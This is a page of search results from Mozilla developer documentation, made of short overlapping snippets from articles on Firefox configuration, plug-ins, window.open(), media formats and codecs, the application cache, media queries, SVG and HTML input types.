s (mostly students) who share computers in labs and "self service" computer rooms. hence a single computer might connect many different users all day long. computers are dual-boot (windows 7 and linux fedora 19 by 2013). all users have a personal account on a windows server (ad) and an ldap account for linux authentication. objective the objective is to provide users with a mailer agent, a web browser, and a news reader which are automatically configured (preferences) at startup to the current user connected on the computer. choosing mozilla products allow us to use the same apps while running either windows or linux systems (i suspect mac osx would be fine too). instead of configuring end user individual preferences files (~/.mozilla/default/randomdir/prefs.js) we now use a centralized def...
...are not available by default in the environment variables). however i could be useful to get ldap values for firefox extra config, for example to set the default home page to the labeleduri ldap attribute of the user. firefox 22 omni.jar archive file became omni.ja since http://blog.ffextensionguru.com/2011/11/16/omni-jar-to-become-omni-ja/ [root@localhost firefox]# unzip -l /usr/lib/firefox/browser/omni.ja | grep defaults/pr warning [/usr/lib/firefox/browser/omni.ja]: 3598815 extra bytes at beginning or within zipfile (attempting to process anyway) error [/usr/lib/firefox/browser/omni.ja]: reported length of central directory is -3598815 bytes too long (atari stzip zipfile? j.h.holm zipsplit 1.1 zipfile?). compensating... 3850 01-01-2010 00:00 defaults/profile/bookmarks.
...l.config.obscure_value', 0); pref('general.config.filename', 'firefox.cfg'); then specify our set of preferences for firefox in firefox.cfg as named in ff-autoconf.js just above. ...
...And 26 more matches
Plug-in Basics - Plugins
next » how plug-ins are used plug-ins offer a rich variety of features that can increase the flexibility of gecko-based browsers. plug-ins like these are now available: multimedia viewers such as adobe flash and adobe acrobat utilities that provide object embedding and compression/decompression services applications that range from personal information managers to games the range of possibilities for using plug-in technology seems boundless, as shown by the growing numbers of independent software vendors who are creating new and innovative plug-ins. ...
...n services applications that range from personal information managers to games the range of possibilities for using plug-in technology seems boundless, as shown by the growing numbers of independent software vendors who are creating new and innovative plug-ins. with the plug-in api, you can create dynamically loaded plug-ins that can: register one or more mime types draw into a part of a browser window receive keyboard and mouse events obtain data from the network using urls post data to urls add hyperlinks or hotspots that link to new urls draw into sections on an html page communicate with javascript/dom from native code you can see which plug-ins are installed on your system and have been properly associated with the browser by consulting the installed plug-ins page. go to t...
...w-source that this information is simply gathered from the javascript. because plug-ins are platform-specific, you must port them to every operating system and processor platform upon which you want to deploy your plug-in. plug-ins and helper applications before plug-ins, there were helper applications. a helper application is a separate, free-standing application that can be started from the browser. like a plug-in, the browser starts a helper application when the browser encounters a mime type that is mapped to it. unlike a plug-in, a helper application runs separately from the browser in its own application space and does not interact with the browser or the web. when the browser encounters a mime type, it always searches for a registered plug-in first. if there are no matches for the m...
...And 26 more matches
jspage - Archive of obsolete content
value)?"textnode":"whitespace";}}else{if(typeof a.length=="number"){if(a.callee){return"arguments"; }else{if(a.item){return"collection";}}}}return typeof a;}function $unlink(c){var b;switch($type(c)){case"object":b={};for(var e in c){b[e]=$unlink(c[e]); }break;case"hash":b=new hash(c);break;case"array":b=[];for(var d=0,a=c.length;d<a;d++){b[d]=$unlink(c[d]);}break;default:return c;}return b;}var browser=$merge({engine:{name:"unknown",version:0},platform:{name:(window.orientation!=undefined)?"ipod":(navigator.platform.match(/mac|win|linux/i)||["other"])[0].tolowercase()},features:{xpath:!!(document.evaluate),air:!!(window.runtime),query:!!(document.queryselector)},plugins:{},engines:{presto:function(){return(!window.opera)?false:((arguments.callee.caller)?960:((document.getelementsbyclassname)?
...!(document.evaluate),air:!!(window.runtime),query:!!(document.queryselector)},plugins:{},engines:{presto:function(){return(!window.opera)?false:((arguments.callee.caller)?960:((document.getelementsbyclassname)?950:925)); },trident:function(){return(!window.activexobject)?false:((window.xmlhttprequest)?((document.queryselectorall)?6:5):4);},webkit:function(){return(navigator.taintenabled)?false:((browser.features.xpath)?((browser.features.query)?525:420):419); },gecko:function(){return(!document.getboxobjectfor&&window.mozinnerscreenx==null)?false:((document.getelementsbyclassname)?19:18);}}},browser||{});browser.platform[browser.platform.name]=true; browser.detect=function(){for(var b in this.engines){var a=this.engines[b]();if(a){this.engine={name:b,version:a};this.engine[b]=this.engine[b+a]=...
...y)?525:420):419); },gecko:function(){return(!document.getboxobjectfor&&window.mozinnerscreenx==null)?false:((document.getelementsbyclassname)?19:18);}}},browser||{});browser.platform[browser.platform.name]=true; browser.detect=function(){for(var b in this.engines){var a=this.engines[b]();if(a){this.engine={name:b,version:a};this.engine[b]=this.engine[b+a]=true; break;}}return{name:b,version:a};};browser.detect();browser.request=function(){return $try(function(){return new xmlhttprequest();},function(){return new activexobject("msxml2.xmlhttp"); },function(){return new activexobject("microsoft.xmlhttp");});};browser.features.xhr=!!(browser.request());browser.plugins.flash=(function(){var a=($try(function(){return navigator.plugins["shockwave flash"].description; },function(){return new activexo...
...And 25 more matches
Window.open() - Web APIs
Web › API › Window › open
the window interface's open() method loads the specified resource into the new or existing browsing context (window, <iframe> or tab) with the specified name. if the name doesn't exist, then a new browsing context is opened in a new tab or a new window, and the specified resource is loaded into it. syntax var window = window.open(url, windowname, [windowfeatures]); parameters url a domstring indicating the url of the resource to be loaded. this can be a path or url to an html page, image file, or any other resource that is supported by the browser. if the empty string ("") is specified as url, a blank page is opened into the targeted browsing context. ...
...open(url, windowname, [windowfeatures]); parameters url a domstring indicating the url of the resource to be loaded. this can be a path or url to an html page, image file, or any other resource that is supported by the browser. if the empty string ("") is specified as url, a blank page is opened into the targeted browsing context. windowname optional a domstring specifying the name of the browsing context (window, <iframe> or tab) into which to load the specified resource; if the name doesn't indicate an existing context, a new window is created and is given the name specified by windowname. this name can be used as the target for the target attribute of <a> or <form> elements. the name should not contain whitespace. keep in mind that this will not be used as the window's title. win...
...ally a thin wrapper for the window object representing the newly created window, and has all its features available. if the window couldn't be opened, the returned value is instead null. the returned reference can be used to access properties and methods of the new window as long as it complies with same-origin policy security requirements. description the open() method creates a new secondary browser window, similar to choosing new window from the file menu. the url parameter specifies the url to be fetched and loaded in the new window. if url is an empty string, then a new blank, empty window (url about:blank) is created with the default toolbars of the main window. note that remote urls won't load immediately. when window.open() returns, the window always contains about:blank. the actual...
...And 25 more matches
Media container formats (file types) - Web media technologies
eb, covering basics about their specifications as well as their benefits, limitations, and ideal use cases. webrtc does not use a container at all. instead, it streams the encoded audio and video tracks directly from one peer to another using mediastreamtrack objects to represent each track. see codecs used by webrtc for information about codecs commonly used for making webrtc calls, as well as browser compatibility information around codec support in webrtc. common container formats while there are a vast number of media container formats, the ones listed below are the ones you are most likely to encounter. some support only audio while others support both audio and video. the mime types and extensions for each are listed.the most commonly used containers for media on the web are probably ...
...likely to encounter. some support only audio while others support both audio and video. the mime types and extensions for each are listed.the most commonly used containers for media on the web are probably mpeg-4 (mp4), quicktime movie (mov), and the wavefile audio file format (wav). however, you may also encounter mp3, ogg, webm, avi, and other formats. not all of these are broadly supported by browsers, however; some combinations of container and codec are sometimes given their own file extensions and mime types as a matter of convenience, or because of their ubiquity. for example, an ogg file with only an opus audio track is sometimes referred to as an opus file, and might even have the extension .opus. but it's still actually just an ogg file. in other cases, a particular codec, stored in...
...1 audio layer iii encoding. these files use the audio/mp3 mime type and the .mp3 extension, even though their containers are just mpeg. ...
...And 25 more matches
Audio and Video Delivery - Developer guides
we can deliver audio and video on the web in a number of ways, ranging from 'static' media files to adaptive live streams. this article is intended as a starting point for exploring the various delivery mechanisms of web based media and compatibility with popular browsers. the audio and video elements whether we are dealing with pre-recorded audio files or live streams, the mechanism for making them available through the browser's <audio> and <video> elements remains pretty much the same. currently, to support all browsers we need to specify two formats, although with the adoption of mp3 and mp4 formats in firefox and opera, this is changing fast. you can find compatibility information in the guide to media types and formats on the web. to deliver video and audio, the general work...
... identify how you want to play/instantiate the media (e.g. ...
...y two formats, although with the adoption of mp3 and mp4 formats in firefox and opera, this is changing fast. you can find compatibility information in the guide to media types and formats on the web. to deliver video and audio, the general workflow is usually something like this: check what format the browser supports via feature detection (usually a choice of two, as stated above). if the browser doesn't support playback of any of the provided formats natively, either present a still image or use a fallback technology to present the video. identify how you want to play/instantiate the media (e.g. a <video> element, or document.createelement('video') perhaps?) deliver the media file to the player. html audio <audio controls preload="auto"> <source src="audiofile.mp3" type="audio/m...
...And 24 more matches
windows - Archive of obsolete content
enumerate and examine open browser windows, open new windows, and listen for window events. usage the windows module provides basic functions for working with browser windows. with this module, you can: enumerate the currently opened browser windows open new browser windows listen for common window events such as open and close private windows if your add-on has not opted into private browsing, then you won't see any private browser windows. private browser windows won't appear in the browserwindows property, you won't receive any window events, and you won't be able to open private windows. to learn more about private windows, how to opt into private browsing, and how to support private browsing, refer to the documentation for the private-browsing module. converting to chrome w...
... private browser windows. private browser windows won't appear in the browserwindows property, you won't receive any window events, and you won't be able to open private windows. to learn more about private windows, how to opt into private browsing, and how to support private browsing, refer to the documentation for the private-browsing module. converting to chrome windows to convert from the browserwindow objects used in this api to the chrome window objects used in the window/utils api, use the viewfor() function exported by the viewfor module. to convert back the other way, from a chrome window to a browserwindow object, use the modelfor() function, exported by the modelfor module. ...
... converting to chrome windows to convert from the browserwindow objects used in this api to the chrome window objects used in the window/utils api, use the viewfor() function exported by the viewfor module. to convert back the other way, from a chrome window to a browserwindow object, use the modelfor() function, exported by the modelfor module. ...
...And 23 more matches
Using the Right Markup to Invoke Plugins - Archive of obsolete content
this article is about how to invoke a plugin with the correct use of html. it discusses the object element and the embed element, with details about using the most apt html to invoke java in a web page as well. the object element: w3c standards and cross-browser issues the object element is part of the html 4.01 specification, and is the recommended mechanism to invoke plugins. its use is subject to a few caveats that this section outlines. traditionally, the object element has been used differently by microsoft internet explorer and by mozilla-based browsers such as netscape 7. in ie, the object element is used to invoke a plugin that is built on the activex architecture. here's an example of this kind of usage for ie: <!-- ie only code --> <object classid="clsid:d27cdb6e-ae6d-11c...
... the flash plugin. for instance, the param name="movie" tells the flash plugin the location of the swf file to start playing. with the release of netscape 7.1, this kind of activex use of the object element is supported for use with the microsoft® windows media player. only the windows media player is supported as an activex control in netscape 7.1. the details are covered in another article. ...
...s media player. only the windows media player is supported as an activex control in netscape 7.1. the details are covered in another article. browsers such as netscape 7 will not render the flash plugin if the above kind of markup is used, because netscape 7 does not support activex or activex-based component invocations, with the exception of windows media player in netscape 7.1. mozilla-based browsers support the netscape plugin architecture, which is not com based like activex (and thus, not invoked via a unique identifier) but rather, mime type based. mozilla-based browsers support the use of the object element along with a mime type. here is an example of this usage, once again for the macromedia flash plugin: <object type="application/x-shockwave-flash" data="javascript-to-flash.swf" w...
...And 23 more matches
Event reference
additional custom fields and/or functions used to get additional information about what happened. events can represent everything from basic user interactions to automated notifications of things happening in the rendering model. this article offers a list of events that can be sent; some are standard events defined in official specifications, while others are events used internally by specific browsers; for example, mozilla-specific events are listed so that add-ons can use them to interact with the browser. most common categories resource events event name fired when error a resource failed to load. abort the loading of a resource has been aborted. load a resource and its dependent resources have finished loading. beforeunl...
... abort the loading of a resource has been aborted. load a resource and its dependent resources have finished loading. beforeunload the window, the document and its resources are about to be unloaded. unload the document or a dependent resource is being unloaded. network events event name fired when online the browser has gained access to the network. offline the browser has lost access to the network. focus events event name fired when focus an element has received focus (does not bubble). blur an element has lost focus (does not bubble). focusin an element is about to receive focus (does bubble). focusout an element is ...
... leaves a valid drop target. dragover an element or text selection is being dragged over a valid drop target (fired continuously every 350ms). drop an element is dropped on a valid drop target. media events event name fired when audioprocess the input buffer of a scriptprocessornode is ready to be processed. canplay the browser can play the media, but estimates that not enough data has been loaded to play the media up to its end without having to stop for further buffering of content. canplaythrough the browser estimates it can play the media up to its end without stopping for content buffering. complete the rendering of an offlineaudiocontext is terminated. durationchange the durat...
...And 23 more matches
<input type="time"> - HTML: Hypertext Markup Language
Web › HTML › Element › input › time
the source for this interactive example is stored in a github repository. ...
... the source for this interactive example is stored in a github repository. ...
... the source for this interactive example is stored in a github repository. ...
...And 23 more matches
Codecs used by WebRTC - Web media technologies
the webrtc api makes it possible to construct web sites and apps that let users communicate in real time, using audio and/or video as well as optional data and other information. to communicate, the two devices need to be able to agree upon a mutually-understood codec for each track so they can successfully communicate and present the shared media. this guide reviews the codecs that browsers are required to implement as well as other codecs that some or all browsers support for webrtc. containerless media webrtc uses bare mediastreamtrack objects for each track being shared from one peer to another, without a container or even a mediastream associated with the tracks. which codecs can be within those tracks is not mandated by the webrtc specification. however, rfc 7742 specifies that all we...
... as well as other codecs that some or all browsers support for webrtc. containerless media webrtc uses bare mediastreamtrack objects for each track being shared from one peer to another, without a container or even a mediastream associated with the tracks. which codecs can be within those tracks is not mandated by the webrtc specification. however, rfc 7742 specifies that all webrtc-compatible browsers must support vp8 and h.264's constrained baseline profile for video, and rfc 7874 specifies that browsers must support at least the opus codec as well as g.711's pcma and pcmu formats. these two rfcs also lay out options that must be supported for each codec, as well as specific user comfort features such as echo cancelation. ...
... while compression is always a necessity when dealing with media on the web, it's of additional importance when videoconferencing in order to ensure that the participants are able to communicate without lag or interruptions. ...
...And 23 more matches
CSS property compatibility table for form controls - Learn web development
css support for html forms. due to the complexity of css and html forms, these tables can't be considered a perfect reference. however, they will give you good insight into what can and can't be done, which will help you learn how to do things. how to read the tables values for each property, there are four possible values: yes there's reasonably consistent support for the property across browsers. you may still face strange side effects in certain edge cases. partial while the property works, you may frequently face strange side effects or inconsistencies. you should probably avoid these properties unless you master those side effects first. no the property simply doesn't work or is so inconsistent that it's not reliable. n.a. the property has no meaning for this type of widget. ...
... text-decoration this property is not supported by opera on form widgets. text-overflow ...
... * { /* turn off the native look and feel */ -webkit-appearance: none; appearance: none; /* for internet explorer */ background: none; } compatibility tables global behaviors some behaviors are common to many browsers at a global level: border, background, border-radius, height using one of these properties can partially or fully turn off the native look & feel of widgets on some browsers. be careful when you use them. line-height this property is supported inconsistently across browsers and you should avoid it. text-decoration this property is not supported by opera on form widgets. text-overflow opera, safari, and ie9 do not support this property on form widgets. text-shadow opera does not support text-shadow on form widgets and ie9 does not support it at all. text ...
...And 22 more matches
Web video codec guide - Web media technologies
are actually ignored at this time when performing software decoding, and the decoder just does the best it can to play the video given the settings provided. for compatibility's sake going forward, however, you should stay within the limits of the level you choose. the primary drawback to av1 at this time is that it is very new, and support is still in the process of being integrated into most browsers. additionally, encoders and decoders are still being optimized for performance, and hardware encoders and decoders are still mostly in development rather than production. for this reason, encoding a video into av1 format takes a very long time, since all the work is done in software. for the time being, because of these factors, av1 is not yet ready to be your first choice of video codec, but...
...roma subsampling main 8 or 10 4:0:0 (greyscale) or 4:2:0 high 8 or 10 4:0:0 (greyscale), 4:2:0, or 4:4:4 professional 8, 10, or 12 4:0:0 (greyscale), 4:2:0, 4:2:2, or 4:4:4 hdr support yes variable frame rate (vfr) support yes browser compatibility feature chrome edge firefox internet explorer opera safari av1 support 70 75 67 no 57 no container support isobmff[1], mpeg-ts, mp4, webm rtp / webrtc compatible yes supporting/maintaining organ...
...g), which allows, among other things, the production of stereoscopic video. avc is a proprietary format, however, and numerous patents are owned by multiple parties regarding its technologies. commercial use of avc media requires a license, though the mpeg la patent pool does not require license fees for streaming internet video in avc format as long as the video is free for end users. non-web browser implementations of webrtc (any implementation which doesn't include the javascript apis) are required to support avc as a codec in webrtc calls. while web browsers are not required to do so, some do. in html content for web browsers, avc is broadly compatible and many platforms support hardware encoding and decoding of avc media. however, be aware of its licensing requirements before choosing ...
...And 22 more matches
Bootstrapping a new locale
at level making sure you are *not* inside mozilla-1.9.x/ and then run the following commands. warning: don't copy and paste these commands; you need to replace "ab-cd" with your language identifier first and 1.9.x with the most current release branch. for instance, firefox 3.6 is released from the 1.9.2 branch. ...
... sure you are *not* inside mozilla-1.9.x/ and then run the following commands. warning: don't copy and paste these commands; you need to replace "ab-cd" with your language identifier first and 1.9.x with the most current release branch. for instance, firefox 3.6 is released from the 1.9.2 branch. ...
...nd then run the following commands. warning: don't copy and paste these commands; you need to replace "ab-cd" with your language identifier first and 1.9.x with the most current release branch. for instance, firefox 3.6 is released from the 1.9.2 branch. ...
...And 21 more matches
Common Firefox theme issues and solutions - Archive of obsolete content
llazine for solutions to this issue: http://forums.mozillazine.org/viewtopic.php?f=18&t=2131121 http://forums.mozillazine.org/viewtopic.php?f=18&t=1953371&start=60 windows 7 aero not going into full screen mode properly on win7 with aero glass support firefox doesn't always go to full screen mode from a normal window properly. the resolution to this issue is to add the following code to your browser.css file somewhere below where the main-window is made transparent to support aero glass. @media all and (-moz-windows-compositor) { /* make transition to fullscreen mode seamlessly in firefox 10+ */ #main-window[infullscreen="true"] { -moz-appearance: none; background-color: -moz-dialog!important; } } for more information about this issue please see bug 732757 and bug 732757 an...
...more information about this issue please see bug 732757 and bug 732757 and this mozillazine thread. mac os x os x lion missing toolbar button icons due to firefox bug 679708 and bug 702558, some toolbar buttons icons may be missing on firefox 8 and later running on mac os x lion. ...
...ad. mac os x os x lion missing toolbar button icons due to firefox bug 679708 and bug 702558, some toolbar buttons icons may be missing on firefox 8 and later running on mac os x lion. in order to work around this issue, you need to either rename any of the following files that are in your chrome://browser/skin/ folder and fix any references to those files, or copy them to the folder chrome://browser/skin/lion/: keyhole-circle.png toolbar.png toolbarbutton-dropmarker.png tabbrowser/alltabs-box-bkgnd-icon.png tabview/tabview.png places/toolbar.png linux linux select box fields are showing both drop arrow and spinner arrows on linux: the styling of drop down select box fields may show both a drop arrow and up/down spinner arrows. the problem is commonly caused by a -moz-appearanc...
...And 20 more matches
Finding window handles - Archive of obsolete content
vehandle provides the handle (hwnd [widows], gdkwindow* [linux], nswindow* [macosx],...) of a top-level window, for all plateforms, as a string. when working on windows platforms, many apis and frameworks require a window handle (hwnd type). since mozilla tries to be as cross-platform as possible, it can be difficult to get the handle you need. note: starting in gecko 2.0, only the top level browser window has an hwnd. web content windows (in tabs) do not have their own hwnds. typically the top level browser window hwnd has no children, although if there are windowed plugins (such as flash) visible in the window, they will have hwnds whose parent is the top level browser window hwnd. here is some simple code that can get access to mozilla window handles. this code can be used from extern...
...here are windowed plugins (such as flash) visible in the window, they will have hwnds whose parent is the top level browser window hwnd. here is some simple code that can get access to mozilla window handles. this code can be used from external application or from an xpcom component within an extension. ...
... recall that nsibasewindow -> nativehandle returns the following in the different operating systems: windows - hwnd mac os x - nswindow* linux - gdkwindow* (it will be gdkwindow* no matter what desktop/window manager) is in use, for explanation why see the article: standard os libraries...
...And 19 more matches
Implementing feature detection - Learn web development
previous overview: cross browser testing next feature detection involves working out whether a browser supports a certain block of code, and running different code depending on whether it does (or doesn't), so that the browser can always provide a working experience rather than crashing/erroring in some browsers. this article details how to write your own simple feature detection, how to use a library to speed up implementation, and native features for feature detection such as @supports. prerequisites: familiarity with the core html, css, and javascript languages; an idea of the high-level principles of cross-browser testing. objective: to understand what the concept of feature detection is, and be able to implement suitable solutions in css and javascript. ...
...s, and javascript languages; an idea of the high-level principles of cross-browser testing. objective: to understand what the concept of feature detection is, and be able to implement suitable solutions in css and javascript. the concept of feature detection the idea behind feature detection is that you can run a test to determine whether a feature is supported in the current browser, and then conditionally run code to provide an acceptable experience both in browsers that do support the feature, and browsers that don't. if you don't do this, browsers that don't support the features you are using in your code won't display your sites properly and will just fail, creating a bad user experience. let's recap and look at the example we touched on in our handling common javascr...
...port the feature, and browsers that don't. if you don't do this, browsers that don't support the features you are using in your code won't display your sites properly and will just fail, creating a bad user experience. let's recap and look at the example we touched on in our handling common javascript problems — the geolocation api (which exposes available location data for the device the web browser is running on) has the main entry point for its use, a geolocation property available on the global navigator object. ...
...And 19 more matches
Using the application cache - HTML: Hypertext Markup Language
s of being removed from the web platform. as of firefox 44+, when appcache is used to provide offline support for a page, a warning message displays in the console advising developers to use service workers instead (bug 1204581). introduction html5 provides an application caching mechanism that lets web applications run offline. ...
...ad (bug 1204581). introduction html5 provides an application caching mechanism that lets web applications run offline. this application cache (appcache) interface lists resources that browsers should cache to be available offline. applications that are cached load and work correctly offline, even if users press the refresh button. an application cache gives the following benefits: offline browsing users can navigate a site even when they are offline. speed cached resources are local, and therefore load faster. reduced server load the browser only downloads resources that have changed from the server. how the application cache works enabling the application cache to enable the application cache for an application, include the manifest attribute in the <html> element: <html mani...
... the browser only downloads resources that have changed from the server. how the application cache works enabling the application cache to enable the application cache for an application, include the manifest attribute in the <html> element: <html manifest="/example.appcache"> … </html> the manifest attribute references a url for a cache manifest file: a text file that lists urls that browsers should cache for your application. you should include the manifest attribute on each page of your site that you want cached. the browser does not cache pages without the manifest attribute, unless such pages are listed in the manifest file. ...
...And 19 more matches
Image file type and format guide - Web media technologies
in this guide, we'll cover the image file types generally supported by web browsers, and provide insights that will help you select the most appropriate formats to use for your site's imagery. common image file types there are many image file formats in the world. however, the ones listed below are generally recognized as usable on the web, though bmp is generally not recommended as browser support is potentially constrained; it should usually be avoided for web content. ...
...rmats to use for your site's imagery. common image file types there are many image file formats in the world. however, the ones listed below are generally recognized as usable on the web, though bmp is generally not recommended as browser support is potentially constrained; it should usually be avoided for web content. ...
... in the tables below, the term bits per component refers to the number of bits used to represent each color component. for ex...
...And 19 more matches
requiredFeatures - SVG: Scalable Vector Graphics
this provides a way to design svg that gracefully falls back when features aren't available. if the attribute is not present, then its implicit evaluated value is true. ...
... <text x="20" y="27">requiredfeatures not supported</text> </g> </svg> usage notes value <list-of-features> default value true if not defined, false if null or empty string as value animatable no <list-of-features> this is a list of feature strings, separated using white space. determines whether all of the named features are supported by the browser. see feature strings below for a list of allowed values. feature strings the following are the feature strings for the requiredfeatures attribute. these same feature strings apply to the hasfeature method call that is part of the svg dom's support for the domimplementation interface. in some cases the feature strings map directly to a set of attributes, properties or elements, in others they...
...st of allowed values. feature strings the following are the feature strings for the requiredfeatures attribute. these same feature strings apply to the hasfeature method call that is part of the svg dom's support for the domimplementation interface. in some cases the feature strings map directly to a set of attributes, properties or elements, in others they represent some functionality of the browser. note that the format and naming for feature strings changed from svg 1.0 to svg 1.1. the svg 1.0 feature strings are not listed here but can be found in the svg specification. some browser support svg 1.0 feature strings for compatibility reasons. however, the svg 1.0 feature strings are considered deprecated. http://www.w3.org/tr/svg11/feature#svg at least one of the following feature i...
...And 19 more matches
SVG documentation index - SVG: Scalable Vector Graphics
Web › SVG › Index
3 compatibility sources svg the following sources are used for the compatibility tables on svg elements and attributes: 4 content type needstechnicalreview, svg, types, data types svg makes use of a number of data types. this article lists these types along with their synta...
... 6 namespaces crash course svg, xml as an xml dialect, svg is namespaced. it is important to understand the concept of namespaces and how they are used if you plan to author svg content. versions of svg viewers prior to the release of firefox 1.5 unfortunately paid scant attention to namespaces, but they are essential to multi-xml dialect supporting user agents such as gecko-based browsers which must be very strict. take some time to understand namespaces now and it will save you all sorts of headaches in the future. 7 example svg, xml in this example, we use xhtml, svg, javascript, and the dom to animate a swarm of "motes". these motes are governed by two simple principles. first, each mote tries to move towards the mouse cursor, and second each mote tries ...
...d attribute assigns a unique name to an element. 106 ideographic deprecated, svg, svg attribute the ideographic attribute indicates the alignment coordinate for glyphs to achieve ideographic baseline alignment for horizontally oriented glyph layouts. 107 image-rendering needsexample, svg, svg attribute the image-rendering attribute provides a hint to the browser about how to make speed vs. quality tradeoffs as it performs image processing. 108 in filters, needscompattable, svg, svg attribute the in attribute identifies input for the given filter primitive. 109 in2 filters, needscompattable, needsexample, svg, svg attribute the in2 attribute identifies the second input for the given filter primitive. it works ex...
...And 19 more matches
The Essentials of an Extension - Archive of obsolete content
s having one skin entry for the global skin, classic/1.0, and multiple locale entries, one for each translation. finally, the location is specified. there are some additional options that can be included in the entries of a chrome.manifest file. they are documented in the chrome registration page. notably, we can have entries that are os-specific. this is important because the appearance of the browser is very different for each operating system. if our extension needed to look differently on different systems, we could change the manifest file so that it looks like this: content xulschoolhello content/ skin xulschoolhello classic/1.0 skin/unix/ skin xulschoolhello classic/1.0 skin/mac/ os=darwin skin xulschoolhello classic/1.0 skin/win/ os=winnt locale ...
... that replace skins, and translators to create localizations in different languages, all of this without having to change your extension or your code. this gives firefox extensions a great deal of flexibility. chrome files are accessed through the chrome protocol. this is what a chrome uri looks like: chrome://packagename/section/path/to/file so, for instance, if i want to access the file browseroverlay.xul in the extension, the chrome uri would be chrome://xulschoolhello/content/browseroverlay.xul. if you have too many files in the content and you want to organize them in subdirectories, there's nothing you need to change in chrome.manifest, all you need is to add the right path after content in the uri. skin and locale files work in the same way, and you don't need to specify skin n...
...files in the content and you want to organize them in subdirectories, there's nothing you need to change in chrome.manifest, all you need is to add the right path after content in the uri. skin and locale files work in the same way, and you don't need to specify skin names or locale names. so, to access the dtd file in the hello world extension, the chrome path is chrome://xulschoolhello/locale/browseroverlay.dtd. firefox knows what locale to look for. here's an interesting experiment. open a new firefox tab, type chrome://mozapps/content/downloads/downloads.xul on your location bar and press enter. surprised? you just opened the downloads window in a firefox tab! you can access any chrome file by just typing its uri in the location bar. this can come in handy if you want to inspect script f...
...And 18 more matches
Plug-in Development Overview - Gecko Plugin API Reference
« previousnext » writing plug-ins once you decide what you want your plug-in to do, creating it is a simple process. a basic overview of the plug-in development process is given in the following steps. plan your plug-in: decide on the services you want the plug-in software to provide and how it will interact with the browser and the special media for which the plug-in is created. decide the mime type for the plug-in (see registering plug-ins). set up your development environment properly. you can use a variety of environments to create a plug-in, but make sure that you have the necessary files from the plugin sdk. create a plug-in project. write your plug-in code and implement the appropriate plug-in api methods for basic plug-in operation. you'll find an overview of ...
...e plugin sdk. create a plug-in project. write your plug-in code and implement the appropriate plug-in api methods for basic plug-in operation. you'll find an overview of the plug-in api methods in this chapter, as well as separate chapters for all of the major functional areas of the plug-in api. also see making plug-ins scriptable for more information about making plug-ins accessible from the browser. build the plug-in for your operating system. see "building plug-ins". install the plug-in in the plug-in directory for your operating system. see installing plug-ins. test your plug-in and debug as necessary. create an html page and embed the plug-in object. for information about the html elements to use, see using html to display plug-ins. to see your plug-in in action, simply display the...
...perating system. see "building plug-ins". install the plug-in in the plug-in directory for your operating system. see installing plug-ins. test your plug-in and debug as necessary. create an html page and embed the plug-in object. for information about the html elements to use, see using html to display plug-ins. to see your plug-in in action, simply display the html page that calls it in the browser. registering plug-ins gecko identifies a plug-in by the mime type it supports. when it needs to display data of a particular mime type, the browser finds and invokes the plug-in object that supports that type. the data can come from either an object element in an html file (where the object or embed element either specifies the mime type directly or references a file of that type), from a se...
...And 18 more matches
Beginner's guide to media queries - Learn web development
media queries are a key part of responsive web design, as they allow you to create different layouts depending on the size of the viewport, but they can also be used to detect other things about the environment your site is running on, for example whether the user is using a touchscreen rather than a mouse. ...
...ow css works (study css first steps and css building blocks.) objective: to understand how to use media queries, and the most common approach for using them to create responsive designs. media query basics the simplest media query syntax looks like this: @media media-type and (media-feature-rule) { /* css rules go here */ } it consists of: a media type, which tells the browser what kind of media this code is for (e.g. print, or screen). a media expression, which is a rule, or test that must be passed for the contained css to be applied. a set of css rules that will be applied if the test passes and the media type is correct. media types the possible types of media you can specify are: all print screen speech the following media query will only set the bo...
..., which is a rule, or test that must be passed for the contained css to be applied. a set of css rules that will be applied if the test passes and the media type is correct. media types the possible types of media you can specify are: all print screen speech the following media query will only set the body to 12pt if the page is printed. it will not apply when the page is loaded in a browser. @media print { body { font-size: 12pt; } } note: the media type here is different from the so-called mime type. note: there were a number of other media types defined in the level 3 media queries specification; these have been deprecated and should be avoided. note: media types are optional; if you do not indicate a media type in your media query then the media query w...
...And 18 more matches
Plug-in Development Overview - Plugins
« previousnext » writing plug-ins once you decide what you want your plug-in to do, creating it is a simple process. a basic overview of the plug-in development process is given in the following steps. plan your plug-in: decide on the services you want the plug-in software to provide and how it will interact with the browser and the special media for which the plug-in is created. decide the mime type for the plug-in (see registering plug-ins). set up your development environment properly. you can use a variety of environments to create a plug-in, but make sure that you have the necessary files from the plugin sdk. create a plug-in project. write your plug-in code and implement the appropriate plug-in api methods for basic plug-in operation. you'll find an overview of ...
...e plugin sdk. create a plug-in project. write your plug-in code and implement the appropriate plug-in api methods for basic plug-in operation. you'll find an overview of the plug-in api methods in this chapter, as well as separate chapters for all of the major functional areas of the plug-in api. also see making plug-ins scriptable for more information about making plug-ins accessible from the browser. build the plug-in for your operating system. see "building plug-ins". install the plug-in in the plug-in directory for your operating system. see installing plug-ins. test your plug-in and debug as necessary. create an html page and embed the plug-in object. for information about the html elements to use, see using html to display plug-ins. to see your plug-in in action, simply display the...
...perating system. see "building plug-ins". install the plug-in in the plug-in directory for your operating system. see installing plug-ins. test your plug-in and debug as necessary. create an html page and embed the plug-in object. for information about the html elements to use, see using html to display plug-ins. to see your plug-in in action, simply display the html page that calls it in the browser. registering plug-ins gecko identifies a plug-in by the mime type it supports. when it needs to display data of a particular mime type, the browser finds and invokes the plug-in object that supports that type. the data can come from either an object element in an html file (where the object or embed element either specifies the mime type directly or references a file of that type), from a se...
...And 18 more matches
<input>: The Input (Form Input) element - HTML: Hypertext Markup Language
Web › HTML › Element › input
a push button with no default behavior displaying the value of the value attribute, empty by default. <input type="button" name="button" /> checkbox a check box allowing single values to be selected/deselected. <input type="checkbox" name="checkbox"/> color a control for specifying a color; opening a color picker when active in supporting browsers. <input type="color" name="color"/> html5 date a control for entering a date (year, month, and day, with no time). opens a date picker or numeric wheels for year, month, day when active in supporting browsers. <input type="date" name="date"/> html5 datetime-local a control for entering a date and time, with no time zone. opens a date pick...
... a control for entering a date (year, month, and day, with no time). opens a date picker or numeric wheels for year, month, day when active in supporting browsers. <input type="date" name="date"/> html5 datetime-local a control for entering a date and time, with no time zone. opens a date picker or numeric wheels for date- and time-components when active in supporting browsers. <input type="datetime-local" name="datetime-local"/> html5 email a field for editing an email address. looks like a text input, but has validation parameters and relevant keyboard in supporting browsers and devices with dynamic keyboards. <input type="email" name="email"/> html5 file a control that lets the user select a file. use the acc...
